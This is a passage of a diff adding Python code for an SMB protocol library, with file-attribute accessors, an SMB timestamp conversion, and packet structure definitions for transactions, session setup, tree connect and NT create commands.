+        except (ValueError, TypeError):
+            self.__shortname = shortname
+        try:
+            if isinstance(shortname,bytes):
+                self.__longname = longname[:longname.index(b'\0')]
+            else:
+                self.__longname = longname[:longname.index('\0')]
+        except (ValueError, TypeError):
+            self.__longname = longname
+
+    def get_ctime(self):
+        return self.__ctime
+
+    def get_ctime_epoch(self):
+        return self.__convert_smbtime(self.__ctime)
+
+    def get_mtime(self):
+        return self.__mtime
+
+    def get_mtime_epoch(self):
+        return self.__convert_smbtime(self.__mtime)
+
+    def get_atime(self):
+        return self.__atime
+
+    def get_atime_epoch(self):
+        return self.__convert_smbtime(self.__atime)
+
+    def get_filesize(self):
+        return self.__filesize
+
+    def get_allocsize(self):
+        return self.__allocsize
+
+    def get_attributes(self):
+        return self.__attribs
+
+    def is_archive(self):
+        return self.__attribs & ATTR_ARCHIVE
+
+    def is_compressed(self):
+        return self.__attribs & ATTR_COMPRESSED
+
+    def is_normal(self):
+        return self.__attribs & ATTR_NORMAL
+
+    def is_hidden(self):
+        return self.__attribs & ATTR_HIDDEN
+
+    def is_readonly(self):
+        return self.__attribs & ATTR_READONLY
+
+    def is_temporary(self):
+        return self.__attribs & ATTR_TEMPORARY
+
+    def is_directory(self):
+        return self.__attribs & ATTR_DIRECTORY
+
+    def is_system(self):
+        return self.__attribs & ATTR_SYSTEM
+
+    def get_shortname(self):
+        return self.__shortname
+
+    def get_longname(self):
+        return self.__longname
+
+    def __repr__(self):
+        return '<SharedFile instance: shortname="' + self.__shortname + '", longname="' + self.__longname + '", filesize=' + str(self.__filesize) + '>'
+
+    @staticmethod
+    def __convert_smbtime(t):
+        x = t >> 32
+        y = t & 0xffffffff
+        geo_cal_offset = 11644473600.0  # = 369.0 * 365.25 * 24 * 60 * 60 - (3.0 * 24 * 60 * 60 + 6.0 * 60 * 60)
+        return (x * 4.0 * (1 << 30) + (y & 0xfff00000)) * 1.0e-7 - geo_cal_offset
+
+
+# Contain information about a SMB machine
+class SMBMachine:
+    def __init__(self, nbname, nbt_type, comment):
+        self.__nbname = nbname
+        self.__type = nbt_type
+        self.__comment = comment
+
+    def __repr__(self):
+        return '<SMBMachine instance: nbname="' + self.__nbname + '", type=' + hex(self.__type) + ', comment="' + self.__comment + '">'
+
+class SMBDomain:
+    def __init__(self, nbgroup, domain_type, master_browser):
+        self.__nbgroup = nbgroup
+        self.__type = domain_type
+        self.__master_browser = master_browser
+
+    def __repr__(self):
+        return '<SMBDomain instance: nbgroup="' + self.__nbgroup + '", type=' + hex(self.__type) + ', master browser="' + self.__master_browser + '">'
+
+# Represents a SMB Packet
+class NewSMBPacket(Structure):
+    structure = (
+        ('Signature', '"\xffSMB'),
+        ('Command','B=0'),
+        ('ErrorClass','B=0'),
+        ('_reserved','B=0'),
+        ('ErrorCode','<H=0'),
+        ('Flags1','B=0'),
+        ('Flags2','<H=0'),
+        ('PIDHigh','<H=0'),
+        ('SecurityFeatures','8s=""'),
+        ('Reserved','<H=0'),
+        ('Tid','<H=0xffff'),
+        ('Pid','<H=0'),
+        ('Uid','<H=0'),
+        ('Mid','<H=0'),
+        ('Data','*:'),
+    )
+
+    def __init__(self, **kargs):
+        Structure.__init__(self, **kargs)
+
+        if ('Flags2' in self.fields) is False:
+             self['Flags2'] = 0
+        if ('Flags1' in self.fields) is False:
+             self['Flags1'] = 0
+
+        if 'data' not in kargs:
+            self['Data'] = []
+
+    def addCommand(self, command):
+        if len(self['Data']) == 0:
+            self['Command'] = command.command
+        else:
+            self['Data'][-1]['Parameters']['AndXCommand'] = command.command
+            self['Data'][-1]['Parameters']['AndXOffset'] = len(self)
+        self['Data'].append(command)
+
+    def isMoreData(self):
+        return (self['Command'] in [SMB.SMB_COM_TRANSACTION, SMB.SMB_COM_READ_ANDX, SMB.SMB_COM_READ_RAW] and
+                self['ErrorClass'] == 1 and self['ErrorCode'] == SessionError.ERRmoredata)
+
+    def isMoreProcessingRequired(self):
+        return self['ErrorClass'] == 0x16 and self['ErrorCode'] == 0xc000
+
+    def isValidAnswer(self, cmd):
+        # this was inside a loop reading more from the net (with recv_packet(None))
+        if self['Command'] == cmd:
+            if (self['ErrorClass'] == 0x00 and self['ErrorCode']  == 0x00):
+                    return 1
+            elif self.isMoreData():
+                return 1
+            elif self.isMoreProcessingRequired():
+                return 1
+            raise SessionError("SMB Library Error", self['ErrorClass'] + (self['_reserved'] << 8), self['ErrorCode'], self['Flags2'] & SMB.FLAGS2_NT_STATUS, self)
+        else:
+            raise UnsupportedFeature("Unexpected answer from server: Got %d, Expected %d" % (self['Command'], cmd))
+
+
+class SMBCommand(Structure):
+    structure = (
+        ('WordCount', 'B=len(Parameters)//2'),
+        ('_ParametersLength','_-Parameters','WordCount*2'),
+        ('Parameters',':'),             # default set by constructor
+        ('ByteCount','<H-Data'),
+        ('Data',':'),                   # default set by constructor
+    )
+
+    def __init__(self, commandOrData = None, data = None, **kargs):
+        if type(commandOrData) == type(0):
+            self.command = commandOrData
+        else:
+            data = data or commandOrData
+
+        Structure.__init__(self, data = data, **kargs)
+
+        if data is None:
+            self['Parameters'] = ''
+            self['Data']       = ''
+
+class AsciiOrUnicodeStructure(Structure):
+    UnicodeStructure = ()
+    AsciiStructure   = ()
+    def __init__(self, flags = 0, **kargs):
+        if flags & SMB.FLAGS2_UNICODE:
+            self.structure = self.UnicodeStructure
+        else:
+            self.structure = self.AsciiStructure
+        Structure.__init__(self, **kargs)
+
+class SMBCommand_Parameters(Structure):
+    pass
+
+class SMBAndXCommand_Parameters(Structure):
+    commonHdr = (
+        ('AndXCommand','B=0xff'),
+        ('_reserved','B=0'),
+        ('AndXOffset','<H=0'),
+    )
+    structure = (       # default structure, overridden by subclasses
+        ('Data',':=""'),
+    )
+
+############# TRANSACTIONS RELATED
+# TRANS2_QUERY_FS_INFORMATION
+# QUERY_FS Information Levels
+# SMB_QUERY_FS_ATTRIBUTE_INFO
+class SMBQueryFsAttributeInfo(Structure):
+    structure = (
+        ('FileSystemAttributes','<L'),
+        ('MaxFilenNameLengthInBytes','<L'),
+        ('LengthOfFileSystemName','<L-FileSystemName'),
+        ('FileSystemName',':'),
+    )
+
+class SMBQueryFsInfoVolume(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('ulVolSerialNbr','<L=0xABCDEFAA'),
+        ('cCharCount','<B-VolumeLabel'),
+    )
+    AsciiStructure = (
+        ('VolumeLabel','z'),
+    )
+    UnicodeStructure = (
+        ('VolumeLabel','u'),
+    )
+
+# FILE_FS_SIZE_INFORMATION
+class FileFsSizeInformation(Structure):
+    structure = (
+        ('TotalAllocationUnits','<q=148529400'),
+        ('AvailableAllocationUnits','<q=14851044'),
+        ('SectorsPerAllocationUnit','<L=2'),
+        ('BytesPerSector','<L=512'),
+    )
+
+# SMB_QUERY_FS_SIZE_INFO
+class SMBQueryFsSizeInfo(Structure):
+    structure = (
+        ('TotalAllocationUnits','<q=148529400'),
+        ('TotalFreeAllocationUnits','<q=14851044'),
+        ('SectorsPerAllocationUnit','<L=2'),
+        ('BytesPerSector','<L=512'),
+    )
+# FILE_FS_FULL_SIZE_INFORMATION
+class SMBFileFsFullSizeInformation(Structure):
+    structure = (
+        ('TotalAllocationUnits','<q=148529400'),
+        ('CallerAvailableAllocationUnits','<q=148529400'),
+        ('ActualAvailableAllocationUnits','<q=148529400'),
+        ('SectorsPerAllocationUnit','<L=15'),
+        ('BytesPerSector','<L=512')
+    )
+# SMB_QUERY_FS_VOLUME_INFO
+class SMBQueryFsVolumeInfo(Structure):
+    structure = (
+        ('VolumeCreationTime','<q'),
+        ('SerialNumber','<L=0xABCDEFAA'),
+        ('VolumeLabelSize','<L=len(VolumeLabel)'),
+        ('Reserved','<H=0x10'),
+        ('VolumeLabel',':')
+    )
+
+# SMB_QUERY_FS_DEVICE_INFO
+class SMBQueryFsDeviceInfo(Structure):
+    structure = (
+        ('DeviceType', '<L=0'),
+        ('DeviceCharacteristics', '<L=0')
+    )
+
+
+# SMB_FIND_FILE_BOTH_DIRECTORY_INFO level
+class SMBFindFileBothDirectoryInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('EndOfFile','<q=0'),
+        ('AllocationSize','<q=0'),
+        ('ExtFileAttributes','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('EaSize','<L=0'),
+        ('ShortNameLength','<B=0'),
+        ('Reserved','<B=0'),
+        ('ShortName','24s'),
+        ('FileName',':'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('EaSize','<L=0'),
+        ('ShortNameLength','<B=0'),
+        ('Reserved','<B=0'),
+        ('ShortName','24s'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO level
+class SMBFindFileIdFullDirectoryInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('EndOfFile','<q=0'),
+        ('AllocationSize','<q=0'),
+        ('ExtFileAttributes','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('EaSize','<L=0'),
+        ('Reserved', '<L=0'),
+        ('FileID','<q=0'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('EaSize','<L=0'),
+        ('Reserved','<L=0'),
+        ('FileID','<q=0'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO level
+class SMBFindFileIdBothDirectoryInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('EndOfFile','<q=0'),
+        ('AllocationSize','<q=0'),
+        ('ExtFileAttributes','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('EaSize','<L=0'),
+        ('ShortNameLength','<B=0'),
+        ('Reserved','<B=0'),
+        ('ShortName','24s'),
+        ('Reserved','<H=0'),
+        ('FileID','<q=0'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('EaSize','<L=0'),
+        ('ShortNameLength','<B=0'),
+        ('Reserved','<B=0'),
+        ('ShortName','24s'),
+        ('Reserved','<H=0'),
+        ('FileID','<q=0'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_FILE_DIRECTORY_INFO level
+class SMBFindFileDirectoryInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('EndOfFile','<q=0'),
+        ('AllocationSize','<q=1'),
+        ('ExtFileAttributes','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_FILE_NAMES_INFO level
+class SMBFindFileNamesInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_FILE_FULL_DIRECTORY_INFO level
+class SMBFindFileFullDirectoryInfo(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('FileIndex','<L=0'),
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('EndOfFile','<q=0'),
+        ('AllocationSize','<q=1'),
+        ('ExtFileAttributes','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('EaSize','<L'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<L-FileName','len(FileName)*2'),
+        ('EaSize','<L'),
+        ('FileName',':'),
+    )
+
+# SMB_FIND_INFO_STANDARD level
+class SMBFindInfoStandard(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('ResumeKey','<L=0xff'),
+        ('CreationDate','<H=0'),
+        ('CreationTime','<H=0'),
+        ('LastAccessDate','<H=0'),
+        ('LastAccessTime','<H=0'),
+        ('LastWriteDate','<H=0'),
+        ('LastWriteTime','<H=0'),
+        ('EaSize','<L'),
+        ('AllocationSize','<L=1'),
+        ('ExtFileAttributes','<H=0'),
+    )
+    AsciiStructure = (
+        ('FileNameLength','<B-FileName','len(FileName)'),
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileNameLength','<B-FileName','len(FileName)*2'),
+        ('FileName',':'),
+    )
+
+# SET_FILE_INFORMATION structures
+# SMB_SET_FILE_DISPOSITION_INFO
+class SMBSetFileDispositionInfo(Structure):
+    structure = (
+        ('DeletePending','<B'),
+    )
+
+# SMB_SET_FILE_BASIC_INFO
+class SMBSetFileBasicInfo(Structure):
+    structure = (
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('ChangeTime','<q'),
+        ('ExtFileAttributes','<H'),
+        ('Reserved','<L'),
+    )
+
+# FILE_STREAM_INFORMATION
+class SMBFileStreamInformation(Structure):
+    commonHdr = (
+        ('NextEntryOffset','<L=0'),
+        ('StreamNameLength','<L=0'),
+        ('StreamSize','<q=0'),
+        ('StreamAllocationSize','<q=0'),
+        ('StreamName',':=""'),
+    )
+
+# FILE_NETWORK_OPEN_INFORMATION
+class SMBFileNetworkOpenInfo(Structure):
+    structure = (
+        ('CreationTime','<q=0'),
+        ('LastAccessTime','<q=0'),
+        ('LastWriteTime','<q=0'),
+        ('ChangeTime','<q=0'),
+        ('AllocationSize','<q=0'),
+        ('EndOfFile','<q=0'),
+        ('FileAttributes','<L=0'),
+        ('Reserved','<L=0'),
+    )
+
+# SMB_SET_FILE_END_OF_FILE_INFO
+class SMBSetFileEndOfFileInfo(Structure):
+    structure = (
+        ('EndOfFile','<q'),
+    )
+
+# TRANS2_FIND_NEXT2
+class SMBFindNext2_Parameters(AsciiOrUnicodeStructure):
+     commonHdr = (
+         ('SID','<H'),
+         ('SearchCount','<H'),
+         ('InformationLevel','<H'),
+         ('ResumeKey','<L'),
+         ('Flags','<H'),
+     )
+     AsciiStructure = (
+         ('FileName','z'),
+     )
+     UnicodeStructure = (
+         ('FileName','u'),
+     )
+
+class SMBFindNext2Response_Parameters(Structure):
+     structure = (
+         ('SearchCount','<H'),
+         ('EndOfSearch','<H=1'),
+         ('EaErrorOffset','<H=0'),
+         ('LastNameOffset','<H=0'),
+     )
+
+class SMBFindNext2_Data(Structure):
+     structure = (
+         ('GetExtendedAttributesListLength','_-GetExtendedAttributesList', 'self["GetExtendedAttributesListLength"]'),
+         ('GetExtendedAttributesList',':'),
+     )
+
+
+# TRANS2_FIND_FIRST2
+class SMBFindFirst2Response_Parameters(Structure):
+     structure = (
+         ('SID','<H'),
+         ('SearchCount','<H'),
+         ('EndOfSearch','<H=1'),
+         ('EaErrorOffset','<H=0'),
+         ('LastNameOffset','<H=0'),
+     )
+
+class SMBFindFirst2_Parameters(AsciiOrUnicodeStructure):
+     commonHdr = (
+         ('SearchAttributes','<H'),
+         ('SearchCount','<H'),
+         ('Flags','<H'),
+         ('InformationLevel','<H'),
+         ('SearchStorageType','<L'),
+     )
+     AsciiStructure = (
+         ('FileName','z'),
+     )
+     UnicodeStructure = (
+         ('FileName','u'),
+     )
+
+class SMBFindFirst2_Data(Structure):
+     structure = (
+         ('GetExtendedAttributesListLength','_-GetExtendedAttributesList', 'self["GetExtendedAttributesListLength"]'),
+         ('GetExtendedAttributesList',':'),
+     )
+
+# TRANS2_SET_PATH_INFORMATION
+class SMBSetPathInformation_Parameters(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('InformationLevel','<H'),
+        ('Reserved','<L'),
+    )
+    AsciiStructure = (
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileName','u'),
+    )
+
+class SMBSetPathInformationResponse_Parameters(Structure):
+    structure = (
+        ('EaErrorOffset','<H=0'),
+    )
+
+# TRANS2_SET_FILE_INFORMATION
+class SMBSetFileInformation_Parameters(Structure):
+    structure = (
+        ('FID','<H'),
+        ('InformationLevel','<H'),
+        ('Reserved','<H'),
+    )
+
+class SMBSetFileInformationResponse_Parameters(Structure):
+    structure = (
+        ('EaErrorOffset','<H=0'),
+    )
+
+# TRANS2_QUERY_FILE_INFORMATION
+class SMBQueryFileInformation_Parameters(Structure):
+    structure = (
+        ('FID','<H'),
+        ('InformationLevel','<H'),
+    )
+
+class SMBQueryFileInformationResponse_Parameters(Structure):
+    structure = (
+        ('EaErrorOffset','<H=0'),
+    )
+
+class SMBQueryFileInformation_Data(Structure):
+    structure = (
+        ('GetExtendedAttributeList',':'),
+    )
+
+# TRANS2_QUERY_PATH_INFORMATION
+class SMBQueryPathInformationResponse_Parameters(Structure):
+    structure = (
+        ('EaErrorOffset','<H=0'),
+    )
+
+class SMBQueryPathInformation_Parameters(AsciiOrUnicodeStructure):
+    commonHdr = (
+        ('InformationLevel','<H'),
+        ('Reserved','<L=0'),
+    )
+    AsciiStructure = (
+        ('FileName','z'),
+    )
+    UnicodeStructure = (
+        ('FileName','u'),
+    )
+
+class SMBQueryPathInformation_Data(Structure):
+    structure = (
+        ('GetExtendedAttributeList',':'),
+    )
+
+
+# SMB_QUERY_FILE_EA_INFO
+class SMBQueryFileEaInfo(Structure):
+    structure = (
+        ('EaSize','<L=0'),
+    )
+
+# SMB_QUERY_FILE_BASIC_INFO
+class SMBQueryFileBasicInfo(Structure):
+    structure = (
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('ExtFileAttributes','<L'),
+        #('Reserved','<L=0'),
+    )
+
+# SMB_QUERY_FILE_STANDARD_INFO
+class SMBQueryFileStandardInfo(Structure):
+    structure = (
+        ('AllocationSize','<q'),
+        ('EndOfFile','<q'),
+        ('NumberOfLinks','<L=0'),
+        ('DeletePending','<B=0'),
+        ('Directory','<B'),
+    )
+
+# SMB_QUERY_FILE_ALL_INFO
+class SMBQueryFileAllInfo(Structure):
+    structure = (
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('LastChangeTime','<q'),
+        ('ExtFileAttributes','<L'),
+        ('Reserved','<L=0'),
+        ('AllocationSize','<q'),
+        ('EndOfFile','<q'),
+        ('NumberOfLinks','<L=0'),
+        ('DeletePending','<B=0'),
+        ('Directory','<B'),
+        ('Reserved','<H=0'),
+        ('EaSize','<L=0'),
+        ('FileNameLength','<L-FileName','len(FileName)'),
+        ('FileName',':'),
+    )
+
+# \PIPE\LANMAN NetShareEnum
+class SMBNetShareEnum(Structure):
+    structure = (
+        ('RAPOpcode','<H=0'),
+        ('ParamDesc','z'),
+        ('DataDesc','z'),
+        ('InfoLevel','<H'),
+        ('ReceiveBufferSize','<H'),
+    )
+
+class SMBNetShareEnumResponse(Structure):
+    structure = (
+        ('Status','<H=0'),
+        ('Convert','<H=0'),
+        ('EntriesReturned','<H'),
+        ('EntriesAvailable','<H'),
+    )
+
+class NetShareInfo1(Structure):
+    structure = (
+        ('NetworkName','13s'),
+        ('Pad','<B=0'),
+        ('Type','<H=0'),
+        ('RemarkOffsetLow','<H=0'),
+        ('RemarkOffsetHigh','<H=0'),
+    )
+
+# \PIPE\LANMAN NetServerGetInfo
+class SMBNetServerGetInfoResponse(Structure):
+    structure = (
+        ('Status','<H=0'),
+        ('Convert','<H=0'),
+        ('TotalBytesAvailable','<H'),
+    )
+
+class SMBNetServerInfo1(Structure):
+    # Level 1 Response
+    structure = (
+        ('ServerName','16s'),
+        ('MajorVersion','B=5'),
+        ('MinorVersion','B=0'),
+        ('ServerType','<L=3'),
+        ('ServerCommentLow','<H=0'),
+        ('ServerCommentHigh','<H=0'),
+    )
+
+# \PIPE\LANMAN NetShareGetInfo
+class SMBNetShareGetInfo(Structure):
+    structure = (
+        ('RAPOpcode','<H=0'),
+        ('ParamDesc','z'),
+        ('DataDesc','z'),
+        ('ShareName','z'),
+        ('InfoLevel','<H'),
+        ('ReceiveBufferSize','<H'),
+    )
+
+class SMBNetShareGetInfoResponse(Structure):
+    structure = (
+        ('Status','<H=0'),
+        ('Convert','<H=0'),
+        ('TotalBytesAvailable','<H'),
+    )
+
+############# Security Features
+class SecurityFeatures(Structure):
+    structure = (
+        ('Key','<L=0'),
+        ('CID','<H=0'),
+        ('SequenceNumber','<H=0'),
+    )
+
+############# SMB_COM_QUERY_INFORMATION2 (0x23)
+class SMBQueryInformation2_Parameters(Structure):
+    structure = (
+        ('Fid','<H'),
+    )
+
+class SMBQueryInformation2Response_Parameters(Structure):
+    structure = (
+        ('CreateDate','<H'),
+        ('CreationTime','<H'),
+        ('LastAccessDate','<H'),
+        ('LastAccessTime','<H'),
+        ('LastWriteDate','<H'),
+        ('LastWriteTime','<H'),
+        ('FileDataSize','<L'),
+        ('FileAllocationSize','<L'),
+        ('FileAttributes','<L'),
+    )
+
+
+
+############# SMB_COM_SESSION_SETUP_ANDX (0x73)
+class SMBSessionSetupAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('MaxBuffer','<H'),
+        ('MaxMpxCount','<H'),
+        ('VCNumber','<H'),
+        ('SessionKey','<L'),
+        ('AnsiPwdLength','<H'),
+        ('UnicodePwdLength','<H'),
+        ('_reserved','<L=0'),
+        ('Capabilities','<L'),
+    )
+
+class SMBSessionSetupAndX_Extended_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('MaxBufferSize','<H'),
+        ('MaxMpxCount','<H'),
+        ('VcNumber','<H'),
+        ('SessionKey','<L'),
+        ('SecurityBlobLength','<H'),
+        ('Reserved','<L=0'),
+        ('Capabilities','<L'),
+    )
+
+class SMBSessionSetupAndX_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('AnsiPwdLength','_-AnsiPwd','self["AnsiPwdLength"]'),
+        ('UnicodePwdLength','_-UnicodePwd','self["UnicodePwdLength"]'),
+        ('AnsiPwd',':=""'),
+        ('UnicodePwd',':=""'),
+        ('Account','z=""'),
+        ('PrimaryDomain','z=""'),
+        ('NativeOS','z=""'),
+        ('NativeLanMan','z=""'),
+    )
+
+    UnicodeStructure = (
+        ('AnsiPwdLength','_-AnsiPwd','self["AnsiPwdLength"]'),
+        ('UnicodePwdLength','_-UnicodePwd','self["UnicodePwdLength"]'),
+        ('AnsiPwd',':=""'),
+        ('UnicodePwd',':=""'),
+        ('Account','u=""'),
+        ('PrimaryDomain','u=""'),
+        ('NativeOS','u=""'),
+        ('NativeLanMan','u=""'),
+    )
+
+class SMBSessionSetupAndX_Extended_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('SecurityBlobLength','_-SecurityBlob','self["SecurityBlobLength"]'),
+        ('SecurityBlob',':'),
+        ('NativeOS','z=""'),
+        ('NativeLanMan','z=""'),
+    )
+
+    UnicodeStructure = (
+        ('SecurityBlobLength','_-SecurityBlob','self["SecurityBlobLength"]'),
+        ('SecurityBlob',':'),
+        ('NativeOS','u=""'),
+        ('NativeLanMan','u=""'),
+    )
+
+class SMBSessionSetupAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Action','<H'),
+    )
+
+class SMBSessionSetupAndX_Extended_Response_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Action','<H=0'),
+        ('SecurityBlobLength','<H'),
+    )
+
+class SMBSessionSetupAndXResponse_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('NativeOS','z=""'),
+        ('NativeLanMan','z=""'),
+        ('PrimaryDomain','z=""'),
+    )
+
+    UnicodeStructure = (
+        ('NativeOS','u=""'),
+        ('NativeLanMan','u=""'),
+        ('PrimaryDomain','u=""'),
+    )
+
+class SMBSessionSetupAndX_Extended_Response_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('SecurityBlobLength','_-SecurityBlob','self["SecurityBlobLength"]'),
+        ('SecurityBlob',':'),
+        ('NativeOS','z=""'),
+        ('NativeLanMan','z=""'),
+    )
+
+    UnicodeStructure = (
+        ('SecurityBlobLength','_-SecurityBlob','self["SecurityBlobLength"]'),
+        ('SecurityBlob',':'),
+        ('PadLen','_-Pad','1 if (len(self["SecurityBlob"]) % 2 == 0) else 0'),
+        ('Pad',':=""'),
+        ('NativeOS','u=""'),
+        ('NativeLanMan','u=""'),
+    )
+    def getData(self):
+        if self.structure == self.UnicodeStructure:
+            if len(str(self['SecurityBlob'])) % 2 == 0:
+                self['Pad'] = '\x00'
+        return AsciiOrUnicodeStructure.getData(self)
+
+############# SMB_COM_TREE_CONNECT (0x70)
+class SMBTreeConnect_Parameters(SMBCommand_Parameters):
+    structure = (
+    )
+
+class SMBTreeConnect_Data(SMBCommand_Parameters):
+    structure = (
+        ('PathFormat','"\x04'),
+        ('Path','z'),
+        ('PasswordFormat','"\x04'),
+        ('Password','z'),
+        ('ServiceFormat','"\x04'),
+        ('Service','z'),
+    )
+
+############# SMB_COM_TREE_CONNECT_ANDX (0x75)
+class SMBTreeConnectAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('Flags','<H=0'),
+        ('PasswordLength','<H'),
+    )
+
+class SMBTreeConnectAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('OptionalSupport','<H=0'),
+    )
+
+class SMBTreeConnectAndXExtendedResponse_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('OptionalSupport','<H=1'),
+        ('MaximalShareAccessRights','<L=0x1fffff'),
+        ('GuestMaximalShareAccessRights','<L=0x1fffff'),
+    )
+
+class SMBTreeConnectAndX_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('_PasswordLength','_-Password','self["_PasswordLength"]'),
+        ('Password',':'),
+        ('Path','z'),
+        ('Service','z'),
+    )
+
+    UnicodeStructure = (
+        ('_PasswordLength','_-Password','self["_PasswordLength"] if self["_PasswordLength"] > 0 else 1'),
+        ('Password',':'),
+        ('Path','u'),
+        ('Service','z'),
+    )
+
+class SMBTreeConnectAndXResponse_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
+        ('Service','z'),
+        ('PadLen','_-Pad','self["PadLen"]'),
+        ('Pad',':=""'),
+        ('NativeFileSystem','z'),
+    )
+    UnicodeStructure = (
+        ('Service','z'),
+        ('PadLen','_-Pad','self["PadLen"]'),
+        ('Pad',':=""'),
+        ('NativeFileSystem','u'),
+    )
+
+############# SMB_COM_NT_CREATE_ANDX (0xA2)
+class SMBNtCreateAndX_Parameters(SMBAndXCommand_Parameters):
+    structure = (
+        ('_reserved', 'B=0'),
+        ('FileNameLength','<H'),     # NameLength
+        ('CreateFlags','<L'),        # Flags
+        ('RootFid','<L=0'),          # RootDirectoryFID
+        ('AccessMask','<L'),         # DesiredAccess
+        ('AllocationSizeLo','<L=0'), # AllocationSize
+        ('AllocationSizeHi','<L=0'),
+        ('FileAttributes','<L=0'),   # ExtFileAttributes
+        ('ShareAccess','<L=3'),      #
+        ('Disposition','<L=1'),      # CreateDisposition
+        ('CreateOptions','<L'),      # CreateOptions
+        ('Impersonation','<L=2'),
+        ('SecurityFlags','B=3'),
+    )
+
+class SMBNtCreateAndXResponse_Parameters(SMBAndXCommand_Parameters):
+    # XXX Is there a memory leak in the response for NTCreate (where the Data section would be) in Win 2000, Win XP, and Win 2003?
+    structure = (
+        ('OplockLevel', 'B=0'),
+        ('Fid','<H'),
+        ('CreateAction','<L'),
+        ('CreateTime','<q=0'),
+        ('LastAccessTime','<q=0'),
+        ('LastWriteTime','<q=0'),
+        ('LastChangeTime','<q=0'),
+        ('FileAttributes','<L=0x80'),
+        ('AllocationSize','<q=0'),
+        ('EndOfFile','<q=0'),
+        ('FileType','<H=0'),
+        ('IPCState','<H=0'),
+        ('IsDirectory','B'),
+    )
+
+class SMBNtCreateAndXExtendedResponse_Parameters(SMBAndXCommand_Parameters):
+    # [MS-SMB] Extended response description
+    structure = (
+        ('OplockLevel', 'B=0'),
+        ('Fid','<H'),
+        ('CreateAction','<L'),
+        ('CreateTime','<q=0'),
+        ('LastAccessTime','<q=0'),
+        ('LastWriteTime','<q=0'),
+        ('LastChangeTime','<q=0'),
+        ('FileAttributes','<L=0x80'),
+        ('AllocationSize','<q=0'),
+        ('EndOfFile','<q=0'),
+        ('FileType','<H=0'),
+        ('IPCState','<H=0'),
+        ('IsDirectory','B'),
+        ('VolumeGUID','16s'),
+        ('FileIdLow','<L=0'),
+        ('FileIdHigh','<L=0'),
+        ('MaximalAccessRights','<L=0x12019b'),
+        ('GuestMaximalAccessRights','<L=0x120089'),
+    )
+
+class SMBNtCreateAndX_Data(AsciiOrUnicodeStructure):
+    AsciiStructure = (
